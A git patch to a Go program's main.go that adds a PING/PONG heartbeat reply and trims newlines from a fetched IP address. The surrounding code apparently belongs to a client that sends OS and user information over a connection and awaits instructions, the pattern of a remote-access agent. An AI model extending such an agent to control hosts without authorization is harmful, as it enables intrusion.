From dc5be6627a54b964d3502394cd34c64d123173f2 Mon Sep 17 00:00:00 2001 From: raul Date: Tue, 4 Jun 2024 09:36:28 +0200 Subject: [PATCH] Add heartbeat-based connectivity check --- main.go | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/main.go b/main.go index 2d3df18..aabb7c3 100644 --- a/main.go +++ b/main.go @@ -10,6 +10,7 @@ import ( "os" "os/user" "runtime" + "strings" ) type Client struct { @@ -73,7 +74,8 @@ func getIP() (string, error) { if err != nil { return "", nil } - return string(resbody), nil + ip := strings.TrimRight(string(resbody), "\n") + return ip, nil } func sendOSInfo(conn net.Conn) error { @@ -121,7 +123,11 @@ func awaitInstructions(conn net.Conn) error { if err != nil { return err } - if inst.IsHeartbeat == true { + if inst.IsHeartbeat == true && inst.Message == "PING" { + resp := Response{ + Message: "PONG", + } + sendMessage(resp, conn) return nil } return nil